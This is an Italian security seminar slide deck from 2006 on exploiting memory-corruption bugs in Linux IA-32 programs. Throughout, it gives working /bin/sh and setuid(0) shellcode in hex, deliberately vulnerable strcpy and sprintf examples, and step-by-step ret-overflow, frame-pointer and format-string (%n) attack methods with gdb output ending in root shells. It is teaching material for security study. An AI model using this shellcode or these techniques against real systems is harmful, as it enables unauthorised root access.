690 likes | 707 Views
Exploiting Software: How To Break Code. Seminario originariamente preparato da Nicola Bonelli <awgn@antifork.org> Angelo Dell'Aera <buffer@antifork.org> Alberto P. <quequero@bitchx.it> Net&System Security 2006 - Pisa 17/10/2006. Relatori. Alberto P.
E N D
Exploiting Software: How To Break Code Seminario originariamente preparato da Nicola Bonelli <awgn@antifork.org> Angelo Dell'Aera <buffer@antifork.org> Alberto P. <quequero@bitchx.it> Net&System Security 2006 - Pisa 17/10/2006
Relatori Alberto P. Studia Ingegneria Informatica presso l’Universita’ dell’Aquila. Nel 1998 ha fondato la UIC (www.quequero.org) e segue con particolare interesse il campo del Reverse Engineering e della sicurezza informatica. Negli ultimi anni ha collaborato con l’Istituto di Scienze e Tecniche della Cognizione presso il CNR di Roma nel campo della ricerca sull’Intelligenza Artificiale. E’ stato formatore presso Telecom e giornalista per Mondadori, attualmente lavora come giornalista per Edizioni Master.
Relatori Angelo Dell’Aera Laureato in Ingegneria Elettronica, ha collaborato con il Politecnico di Bari come ricercatore nell'ambito del progetto TCP Westwood+, un algoritmo di nuova concezione per il TCP congestion control, di cui ha sviluppato le patch, ufficialmente integrate nel kernel di Linux. Segue attivamente lo sviluppo del kernel di Linux da alcuni anni interessandosi, in particolar modo, al networking, alla VM e alle problematiche relative alle architetture SMP. Membro di Antifork Research (www.antifork.org), S0ftproject (www.s0ftpj.org) e Metro Olografix (www.olografix.org), attualmente lavora presso Communication Valley S.p.A. in qualità di Senior Security Engineer.
Exploit-1 • Definizione di exploit • “attacco finalizzato a produrre accesso ad un sistema, e/o incrementi di privilegio” • Classificazione • Criterio spaziale • Exploit locale • Exploit remoto • Criterio funzionale • Exploit per configurazioni errate di servizio • Exploit per html/cgi insicuri • Exploit per “code injection”
ricettore exploit socket …1010101110110011… …1010101110110011… buffer shellcode env. var argv[] file Exploit-2: attacco Shellcode: “sequenza binaria che rappresenta la codifica di istruzioni e operandi eseguibile dall’host” Mezzo di trasporto: env. var, argv[] o file ( exploit locale) Mezzo di trasporto: socket ( exploit remoto ) Ricettore: processo vulnerabile all’attacco.
Code injection Analisi di un exploit: • Ricettore • Shellcode • Meccanismi: gcc nei sistemi IA-32 • Attacchi code injection: • Ret overflow • Frame Pointer overflow • Format bug
Modalita’ di penetrazione: • Break in salita • Break in discesa Ricettore Caratteristiche del processo: Breakable “vulnerabilita’ che induce il ricettore ad eseguire codice iniettato” Ad elevato privilegio
setuid(i) seteuid(i) EUID=i UID=i Euid Caller == 0 ? EUID=i si Euid Caller == 0 ? si no no EUID=I I>caller euid EUID UID Ricettore: UID e EUID UID: id assegnato ad un utente ed ai suoi processi EUID: id effettivo, assegnato a particolari processi. Puo’ essere diverso da UID. Syscall: setuid() e seteuid().
uid, euid root shell ? ? root user Esecuzione Tempo nascita setuid(0) morte Ricettore: break (in salita di privilegio) Attacco ad un suidroot binary (-rwsr-xr-x root root)
uid, euid root shell ? ? ? root Esecuzione user Tempo nascita seteuid(user) setuid(0) morte Ricettore: break (in discesa di privilegio) Attacco ad un demone di root che perde privilegi con seteuid.
Shellcode-1 Codice eseguibile che viene iniettato nel processo. Criterio spaziale: • Shellcode per exploit locali • Shellcode per exploit remoti Criterio funzionale (syscall): • Execve “/bin/sh” • Setuid(0) + execve “/bin/sh” • Setuid(0) + chrootescape… + execve “/bin/sh” • Setuid(0) + chrootescape…+ dup2() + execve “/bin/sh”
C-code (userland) kernel call ret Syscall Fun interfaccia libc ret call "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Int Interfaccia interruzioni Int $0x80 iret Shellcode-2 Syscall su architettura IA-32.
Shellcode-3 Sintesi: Preparazione di un sorgente c. Compilazione statica del sorgente (include interfaccia libreria) Estrazione dall’oggetto dei codici essenziali: • Passaggio in EAX dell’indice della syscall. • Preparazione degli argomenti • Passaggio in EBX, ECX.. argomenti per la syscall (linux). • Passaggio nello stack argomenti per la syscall (BSD). • Invocazione dell’interruzione int $0x80. Problematiche di realizzazione: • Lunghezza minima, (chiamate essenziali) • shellcode non deve contenere \0. • Shellcode su set limitato di caratteri. Regex [0-9a-zA-Z]
setup argomento setuid() Inizializzazione registri Invocazione interrupt Shellcode-4 Esempio di realizzazione di una shellcode: syscall setuid(); Sorgente base: • main(){ setuid(0); } Compilazione statica… • gcc -g -static test.c –o setuid Disassemblaggio della syscall… • gdb ./setuid • (gdb) disass setuid • Dump of assembler code for function setuid: • 0x804c900 <setuid>: push %ebp • 0x804c901 <setuid+1>: mov %esp,%ebp • 0x804c903 <setuid+3>: sub $0x14,%esp • 0x804c906 <setuid+6>: push %edi • 0x804c907 <setuid+7>: mov 0x8(%ebp),%edi • … • 0x804c929 <setuid+41>: mov %edi,%ebx • 0x804c92b <setuid+43>: mov $0x17,%eax • 0x804c930 <setuid+48>: int $0x80
Shellcode-5 Setup di setuid(): • Indice syscall (0x17) -> EAX; (/usr/src/linux/include/asm/unistd.h) • Argomento (0) -> EBX; • Call int $0x80; Versione in asm inline: • main() • { __asm__ __volatile__(“ • movl $0x17, %eax • movl $0, %ebx • int $0x80");} Dump dell’oggetto dopo la compilazione: • objdump -d ./a.out • 080483a4 <main>: • 80483a4: 55 push %ebp • 80483a5: 89 e5 mov %esp,%ebp • 80483a7: b8 17 00 00 00 mov $0x17,%eax • 80483ac: bb 00 00 00 00 mov $0x0,%ebx • 80483b1: cd 80 int $0x80 • 80483b3: c9 leave • 80483b4: c3 ret
mov $0x0, %ebx xor %ebx, %ebx xor %eax, %eax movb $0x17, %al mov $0x17, %eax \x31\xc0\x31\xdb\xb0\x17\xcd\x80 Shellcode-6 Sostituzioni per evitare \0. Shellcode definitiva: • 80483a4: 55 push %ebp • 80483a5: 89 e5 mov %esp,%ebp • 80483a7: 31 c0 xor %eax,%eax • 80483a9: 31 db xor %ebx,%ebx • 80483ab: b0 17 mov $0x17,%al • 80483ad: cd 80 int $0x80 • 80483af: c9 leave • 80483b0: c3 ret
\x31\xc0\xb0\x17\xcd\x80… EIP Record di attivazione ESP EBP stack gcc-1 in IA-32 Importanza dei registri nella traduzione c->asm: • EIP: instruction pointer • “puntatore all’istruzione successiva” • ESP: stack pointer • “puntatore riferito al top della pila” (mobile) • EBP: frame pointer • “puntatore riferito alla base del record di attivazione” (fisso)
Record di Attivazione Fun 2 Record di attivazione EBP stack gcc-2 in IA-32 Record di attivazione (RDA): Parametri attuali: RET addr (pushato dalla call): Frame pointer (ebp): pushl %ebp (salva vecchio valore) movl %esp, %ebp Variabili automatiche (locali): Nested function: Record di attivazione annidati: Link attraverso i frame pointers:
int fun(int a, int b) { return (a+1); } main() { int i; i=fun(1,2); } EIP ret Dump of assembler code for function main: … 0x80483cd <main+9>: push $0x2 0x80483cf <main+11>: push $0x1 0x80483d1 <main+13>: call 0x80483b0 <fun> … Dump of assembler code for function fun: 0x80483b0 <fun>: push %ebp 0x80483b1 <fun+1>: mov %esp,%ebp 0x80483b3 <fun+3>: mov 0x8(%ebp),%edx 0x80483b6 <fun+6>: inc %edx 0x80483b7 <fun+7>: mov %edx,%eax 0x80483b9 <fun+9>: leave 0x80483ba <fun+10>: ret fp EBP ret EDX a b prologo EAX epilogo stack gcc-3 in IA-32 Stack per allocazione di variabili automatiche e passaggio di parametri attuali.
Penetrazione buffer Spazio Buffer automatico fp ret stack OVERFLOW gcc-4 in IA-32 Attacco generico: • Overflow: • superamento della capienza del buffer. • Forzatura del ret nella pila • Istanza breakable: • Allocazione di un buffer nello stack • Operazioni non controllate sul buffer
Attacchi Tipologie di attacco: • buffer-overflow • frame pointer-overflow • format-bug
Ret overflow-1: analisi Caratteristiche processo: • Vulnerabilita’ che consente sovrascrittura completa del ret di una qualunque istanza (strcpy(), sprintf(), etc..) • Capacita’ del buffer nel RDA, HEAP o quant’altro sufficiente a contenere la shellcode (poche decine di byte) • Predicibilita’ indirizzo shellcode Strumenti: • Exploit che realizza una struttura: • Contenente la shellcode; • Auto-indirizzante (nuovo retaddr punta ad un indirizzo interno della struttura stessa);
main() { long ret; __asm__("movl %%ebp,%0" : "=g" (ret) ); printf("ebp : 0x%x\n",ret); } Ret overflow-2: strategia Predicibilita’ dell’indirizzo di start della shellcode: • Indirizzo del frame pointer di prima istanza costante per ogni processo (paginazione) • Offset variabile per il tuning dell’attacco. • Nop padding per agevolare l’offset guessing su exploit remoti
NOP 0x90 ~100 bytes shellcode my-ret Ret overflow-3: preparazione Realizzazione della struttura penetrante: Nop per agevolare il tuning; Shellcode interna; Ret nuovo; Offset di tuning;
main() { long ret; __asm__("movl %%ebp,%0" : "=g" (ret) ); printf("ebp : 0x%x\n",ret); } Low mem ret addr offset 1 Offset 2 high mem Linux A:attacker Linux B: target Ret overflow-4: tuning Ret addr= base+ offset 1+ offset 2
NOP sh-2.03# id uid=0(root) gid=0(root) groups=0(root) ret TXT code caller stack Ret overflow-5: run time Penetrazione a runtime: Stack di istanza vulnerabile Ingresso struttura Sovrascrittura del ret Innesco shellcode
Ret overflow-6: problemi Problemi: • Introduzione di feature per evitare che si possa sfruttare questa tipologia di errori di programmazione • Le tecniche più efficaci e più comunemente utilizzate per prevenire la possibilità che si possa redirezionare il flusso di esecuzione di un programma nello stack: • stack randomization • non executable stack
Ret overflow-7: stack randomization • Randomizzazione dell’address space del processo (e quindi dello stack): • Non ha molta ragion d’essere su sistemi Windows in quanto, essendo il modello di implementazione nativamente thread-based, non si prestano ad una redirezione del flusso di esecuzione direttamente nello stack • Su sistemi Linux rende di fatto molto più difficile individuare l’indirizzo a cui risulta posizionato il buffer e quindi lo shellcode
Ret overflow-8: stack randomization • E’ ancora possibile exploitare un processo vulnerabile con un approccio a brute-force • Inoltre, è possibile su sistemi Linux con kernel 2.6 eliminare la necessità di fare address guessing sfruttando il supporto per le vsyscall di recente introdotto in tale branch • Questo secondo modo di procedere ricorda molto l’approccio tipicamente utilizzato per scrivere exploit su piattaforma Windows
Ret overflow-9: stack randomization Sorgente base: • main(){ pause(); } Compilazione • gcc vdso.c –o vdso Esecuzione • ./vdso • ps aux | grep vdso • buffer 8333 0.0 0.0 1324 260 pts/0 S+ 19:04 0:00 /home/buffer/vdso • cat /proc/8333/maps • 08048000-08049000 r-xp 00000000 03:06 43401 /home/buffer/vdso • 08049000-0804a000 rw-p 00000000 03:06 43401 /home/buffer/vdso • b7e2c000-b7e2d000 rw-p b7e2c000 00:00 0 • b7e2d000-b7f3c000 r-xp 00000000 03:05 9659131 /lib/libc-2.4.so • b7f3c000-b7f3e000 r--p 0010e000 03:05 9659131 /lib/libc-2.4.so • b7f3e000-b7f40000 rw-p 00110000 03:05 9659131 /lib/libc-2.4.so • b7f40000-b7f43000 rw-p b7f40000 00:00 0 • b7f65000-b7f66000 rw-p b7f65000 00:00 0 • b7f66000-b7f7f000 r-xp 00000000 03:05 9659690 /lib/ld-2.4.so • b7f7f000-b7f80000 r--p 00019000 03:05 9659690 /lib/ld-2.4.so • b7f80000-b7f81000 rw-p 0001a000 03:05 9659690 /lib/ld-2.4.so • bfc37000-bfc4d000 rw-p bfc37000 00:00 0 [stack] • ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]
Ret overflow-10: stack randomization Disassemblaggio • gdb ./vdso • gdb> r • Program received signal SIGTSTP, Stopped (user). • gdb> x/17i 0xffffe400 • 0xffffe400 <__kernel_vsyscall>: push %ecx • 0xffffe401 <__kernel_vsyscall+1>: push %edx • 0xffffe402 <__kernel_vsyscall+2>: push %ebp • 0xffffe403 <__kernel_vsyscall+3>: mov %esp,%ebp • 0xffffe405 <__kernel_vsyscall+5>: sysenter • 0xffffe407 <__kernel_vsyscall+7>: nop • 0xffffe408 <__kernel_vsyscall+8>: nop • 0xffffe409 <__kernel_vsyscall+9>: nop • 0xffffe40a <__kernel_vsyscall+10>: nop • 0xffffe40b <__kernel_vsyscall+11>: nop • 0xffffe40c <__kernel_vsyscall+12>: nop • 0xffffe40d <__kernel_vsyscall+13>: nop • 0xffffe40e <__kernel_vsyscall+14>: jmp 0xffffe403 <__kernel_vsyscall+3> • 0xffffe410 <__kernel_vsyscall+16>: pop %ebp • 0xffffe411 <__kernel_vsyscall+17>: pop %edx • 0xffffe412 <__kernel_vsyscall+18>: pop %ecx • 0xffffe413 <__kernel_vsyscall+19>: ret
Ret overflow-11: stack randomization void copy(char *str) { char buf[256]; memset(buf, 0, 256); strcpy(buf, str); } int main(int argc, char **argv) { char s[1024]; strcpy(s, argv[1]); copy(s); return (0); }
sh-2.03# id uid=0(root) gid=0(root) groups=0(root) ret TXT code caller stack ESP EIP Ret overflow-12: stack randomization Penetrazione a runtime: Stack di istanza vulnerabile Penetrazione a run time 0xffffe413 <__kernel_vsyscall+19>: ret
Frame pointer overflow-1: analisi Caratteristiche processo: • Vulnerabilita’ che consente sovrascrittura completa o parziale del frame pointer di una qualunque istanza di secondo livello, o superiore. • Capacita’ del buffer nel RDA sufficente a contenere nop padding, shellcode e 8 byte (+ spazio per i parametri attuali, e variabili automatiche se usati dalla caller) per completare l’epilogo della funzione caller (su replica RDA) Strumenti: • Attacco locale con gdb • Exploit che realizza di una struttura: • Contenente la shellcode; • Auto-indirizzante sul ret della caller. • Contenente il pivot decrementato per la sostituzione del record di attivazione.
Frame pointer overflow-2: strategia Sostituzione del RDA della funzione caller. • Stuttura penetrante contenente: • Nop padding • Shellcode • Ricostruzione parziale del record di attivazione • Ret auto-indirizzante • Sovrascrittura del byte meno significativo del frame pointer dell’istanza di secondo livello: • Sostituzione del RDA della caller con quello ricostruito. • Ritorno dell’istanza di secondo livello • Ritorno dell’istanza di primo livello e innesco shellcode.
OVERFLOW EBP TXT code caller ret TXT code caller ret stack Frame pointer overflow-3: scenario Strategia d’attacco dal punto di vista grafico: RDA prima istanza RDA seconda istanza Gestione link Penetrazione buffer
NOP 0x90 pivot-8 EBP stack Frame pointer overflow-4: scenario Strategia d’attacco dal punto di vista grafico: Overflow sul byte meno significativo del fp Definizione di pivot: byte meno significativo di EBP Scrittura pivot-8 nel byte meno significativo del fp Contenuto del buffer iniettato: Nop padding shellcode Ret autoindirizzante
Frame pointer overflow-5: tuning Tuning dell’attacco: • Analisi predicibilita’ ret-addr per il record d’attivazione di prima istanza come l’attacco ret overflow: offset guessing. • Determinazione del pivot mediante l’uso di gdb.
Frame pointer overflow-6: pivot Test per la valutazione del pivot: • Preparazione di test.c che esegue il binario mediante una syscall exec. • Debugging del test • gdb ./test • Load dei simboli ed esecuzione • (gdb) symbol-file ./binario • (gdb) run • … • Program received signal SIGTRAP, Trace/breakpoint trap. • 0x40001990 in _start () from /lib/ld-linux.so.2 • Inserimento di un breakpoint: • (gdb) disass fun2 • Dump of assembler code for function fun: • 0x8048420 <fun>: push %ebp • 0x8048421 <fun+1>: mov %esp,%ebp • 0x8048423 <fun+3>: sub $0x114,%esp • … • (gdb) break *0x8048423 • Breakpoint 1 at 0x8048423
pivot Frame pointer overflow-7: pivot • Ripristino esecuzione interrotta dal sigtrap: • (gdb) c • continuing. • … • Breakpoint 1, 0x8048423 in fun2 () • Determinazione pivot leggendo il contenuto di ebp: • (gdb) info reg ebp • ebp 0xbffffa0c -1073743348
Frame pointer overflow-8: attacco Step di attacco e problematiche: • Determinazione del pivot • Pivot < 8 ? Introduzione di variabili di ambiente che modificano la base del frame pointer di prima istanza e determinazione nuovo pivot. • Ricompilazione dell’exploit con pivot (decrementato nel buffer) • Offset guessing
NOP 0x90 EIP sh-2.03# id uid=0(root) gid=0(root) groups=0(root) Replica RDA ret EBP fp TXT code caller ret stack Frame pointer overflow-9: run time Penetrazione a runtime: • Esecuzione instanza vulnerabile • Sovrascrittura del frame pointer • Ritorno istanza di secondo livello (leave+ret) • Esecuzione codice istanza di primo livello su RDA replicato • Ritorno istanza primo livello • Innesco shellcode
Format bug-1: analisi Variable argument list: funzione ( “format”, arg1, arg2 .. ); • Format: stringa che specifica natura e numero degli argomenti passati ( %d, %s, %p.. etc.) • Arg1, arg2 etc… argomenti attuali passati alla funzione. Vulnerabilita’: • Format penetrabile (non hardcoded) o omesso. • Es: sprintf(d, s); /* copia s in d, omettendo il format */
Rda sprintf EBP void do_it(char *d, char *s) { char lim[] = "\x01\x02\x03\x04"; sprintf(d, s); } main() { char tmp[512]; char buf[512]; while(1) { memset(buf, '\0', 512); read(0, buf, 512); do_it(tmp, buf); printf("%s", tmp); } } \x04\x03\x02\x01 EBP TXT code caller ret buf tmp TXT code caller ret stack Format bug-2: analisi Format bug come gdb:
EBP linux:root {25} ./a.out ciao ciao %x bffff47c %x %x bffff47c 4007f588 %x %x %x %x %x %x %x %x %x %x bffff47c 4007f588 40134a58 4000ba90 bffff49e 1 4030201 bffff800 bffff88c 804851c AAAA%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x AAAAbffff47c 4007f588 40134a58 4000ba90 bffff49e 1 4030201 bffff800 bffff88c 804851c bffff68c bffff48c 200 6 bffff4b8 bffff4b8 4000dc61 41414141 25207825 78252078 20782520 25207825 78252078 \x04\x03\x02\x01 EBP TXT code caller ret buf A A A A tmp 0Xbffff88c+4 = 0xbffff890 (ret) TXT code caller ret stack Format bug-3: analisi Esecuzione programma vulnerabile:
addr …%x%x%x%x%x%x... %s %x in numero sufficente a raggiungere il buffer dove e’ stato scritto addr Format bug-4: lettura Lettura indirizzi arbitrari di memoria: Dato un indirizzo di memoria e’ possibile leggerne il contenuto, mediante la preparazione di un opportuno buffer.
4 %n, con pad opportuno cosi’ che ogni volta viene scritto il byte meno significativo in modo corretto. addr addr+1 addr+2 addr+3 …%.8x%.8x%.8x%.8x... ….%n……%n….%n….%n %.8x in numero sufficiente a raggingere il buffer dove e’ stato scritto addr Format bug-5: scrittura Scrittura di indirizzi arbitrari in memoria: • Il costrittore “%n” scrive nell’indirizzo a cui e’ riferito, il numero dei byte stampati fino a quel momento dalla printf. Esempio: Printf(“ciao%n”,&c); • Se la print e’ limitata come in snprintf(), %n scrive il numero dei byte che avrebbero dovuto essere stati stampati fino a quel momento (a prescindere dalla limitazione). • E’ possibile scrivere in un dato indirizzo di memoria con opportuno buffer che fa’ uso di 4 “%n” riferiti ad indirizzi disallineati.
0x04 0x04 0x03 0x04 0x02 0x03 0x03 0x02 0x04 0x01 0x03 0x02 0x01 0x01 0x02 0x01 %n = byte da scrivere mod 256 Format bug-6: scrittura Scrittura con write disallineate:
Format bug-7: attacco Attacco con format bug: • Determinazione dell’indirizzo del ret dell’instanza caller mediante gdb, o indagando con un numero di %x imprecisato. • Caricamento della shellcode in un qualsiasi buffer di cui e’ possibile predire con una certa approssimazione l’indirizzo iniziale. (nop padding) • Realizzazione di un overflow sul ret della caller mediante sovrascrittura multipla con 4 “%n” dell’indirizzo di innesco della shellcode.
Introduzione a Windows-1 • Secondo Internet World Stats nel 2006 gli utenti di Internet sono stati 1.086.250.903 • L’86.5% degli utenti utilizza Windows, il 3.8% MAC OS ed il 3.5% Linux • Circa 940 milioni di persone utilizzano Windows… Quindi se troviamo una vulnerabilita’ siamo padroni di 1/6 della popolazione terrestre. • Ecco spiegato perche’ il worm Sasser e’ stato fonte di cosi’ tanti problemi…